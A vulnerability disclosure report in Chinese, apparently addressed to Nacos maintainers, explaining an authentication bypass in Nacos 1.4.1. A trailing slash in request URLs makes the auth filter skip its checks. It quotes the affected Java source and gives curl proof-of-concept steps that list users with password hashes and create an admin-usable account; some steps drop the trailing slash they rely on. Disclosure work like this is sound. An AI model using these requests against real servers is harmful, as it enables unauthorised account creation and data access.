你好,我發現nacos最新版本1.4.1對於User-Agent繞過安全漏洞的serverIdentity key-value修復機制,依然存在繞過問題,在nacos開啓了serverIdentity的自定義key-value鑑權後,通過特殊的url構造,依然能繞過限制訪問任何http接口。
通過查看該功能,需要在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false
,才能避免User-Agent: Nacos-Server
繞過鑑權的安全問題。
但在開啓該機制後,我從代碼中發現,任然可以在某種情況下繞過,使之失效,調用任何接口,通過該漏洞,我可以繞過鑑權,做到:
調用添加用戶接口,添加新用戶(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test
),然後使用新添加的用戶登錄console,訪問、修改、添加數據。
一、漏洞詳情
問題主要出現在com.alibaba.nacos.core.auth.AuthFilter#doFilter
:
public class AuthFilter implements Filter {
@Autowired
private AuthConfigs authConfigs;
@Autowired
private AuthManager authManager;
@Autowired
private ControllerMethodsCache methodsCache;
private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (!authConfigs.isAuthEnabled()) {
chain.doFilter(request, response);
return;
}
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (authConfigs.isEnableUserAgentAuthWhite()) {
String userAgent = WebUtils.getUserAgent(req);
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}
} else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
.isNotBlank(authConfigs.getServerIdentityValue())) {
String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
req.getRemoteHost());
} else {
resp.sendError(HttpServletResponse.SC_FORBIDDEN,
"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
+ " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
return;
}
try {
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鑑權代碼
}
...
}
...
}
可以看到,上面三個if else分支:
-
第一個是
authConfigs.isEnableUserAgentAuthWhite()
,它默認值爲true,當值爲true時,會判斷請求頭User-Agent是否匹配User-Agent: Nacos-Server
,若匹配,則跳過後續所有邏輯,執行chain.doFilter(request, response);
-
第二個是
StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())
,也就是nacos 1.4.1版本對於User-Agent: Nacos-Server
安全問題的簡單修復 -
第三個是,當前面兩個條件都不符合時,對請求直接作出拒絕訪問的響應
問題出現在第二個分支,可以看到,當nacos的開發者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false
,開啓該key-value簡單鑑權機制後,會根據開發者配置的nacos.core.auth.server.identity.key
去http header中獲取一個value,去跟開發者配置的nacos.core.auth.server.identity.value
進行匹配,若不匹配,則不進入分支執行:
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
但問題恰恰就出在這裏,這裏的邏輯理應是在不匹配時,直接返回拒絕訪問,而實際上並沒有這樣做,這就讓我們後續去繞過提供了條件。
再往下看,代碼來到:
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鑑權代碼
可以看到,這裏有一個判斷method == null
,只要滿足這個條件,就不會走到後續的鑑權代碼。
通過查看methodsCache.getMethod(req)
代碼實現,我發現了一個方法,可以使之返回的method爲null
com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod
public Method getMethod(HttpServletRequest request) {
String path = getPath(request);
if (path == null) {
return null;
}
String httpMethod = request.getMethod();
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
if (CollectionUtils.isEmpty(requestMappingInfos)) {
return null;
}
List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
if (CollectionUtils.isEmpty(matchedInfo)) {
return null;
}
RequestMappingInfo bestMatch = matchedInfo.get(0);
if (matchedInfo.size() > 1) {
RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
matchedInfo.sort(comparator);
bestMatch = matchedInfo.get(0);
RequestMappingInfo secondBestMatch = matchedInfo.get(1);
if (comparator.compare(bestMatch, secondBestMatch) == 0) {
throw new IllegalStateException(
"Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
+ secondBestMatch + "}");
}
}
return methods.get(bestMatch);
}
private String getPath(HttpServletRequest request) {
String path = null;
try {
path = new URI(request.getRequestURI()).getPath();
} catch (URISyntaxException e) {
LOGGER.error("parse request to path error", e);
}
return path;
}
這個代碼裏面,可以很明確的看到,method值的返回,取決於
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
urlKey這個key,是否能從urlLookup這個ConcurrentHashMap中獲取到映射值
而urlKey的組成中,存在着path這一部分,而這一部分的生成,恰恰存在着問題,它是通過如下方式獲得的:
new URI(request.getRequestURI()).getPath()
一個正常的訪問,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
,得到的path將會是/nacos/v1/auth/users
,而通過特殊構造的url,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is
,得到的path將會是/nacos/v1/auth/users/
通過該方式,將能控制該path多一個末尾的斜杆'/',導致從urlLookup這個ConcurrentHashMap中獲取不到method,爲什麼呢,因爲nacos基本全部的RequestMapping都沒有以斜杆'/'結尾,只有非斜杆'/'結尾的RequestMapping存在並存入了urlLookup這個ConcurrentHashMap,那麼,最外層的method == null
條件將能滿足,從而,繞過該鑑權機制。
二、漏洞影響範圍
影響範圍:
1.4.1
三、漏洞復現
1.訪問用戶列表接口
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'
可以看到,繞過了鑑權,返回了用戶列表數據
{
"totalCount": 1,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
}
]
}
2.添加新用戶
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
可以看到,繞過了鑑權,添加了新用戶
{
"code":200,
"message":"create user ok!",
"data":null
}
3.再次查看用戶列表
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
可以看到,返回的用戶列表數據中,多了一個我們通過繞過鑑權創建的新用戶
{
"totalCount": 2,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
},
{
"username": "test",
"password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
}
]
}
4. 訪問首頁http://127.0.0.1:8848/nacos/
,登錄新賬號,可以做任何事情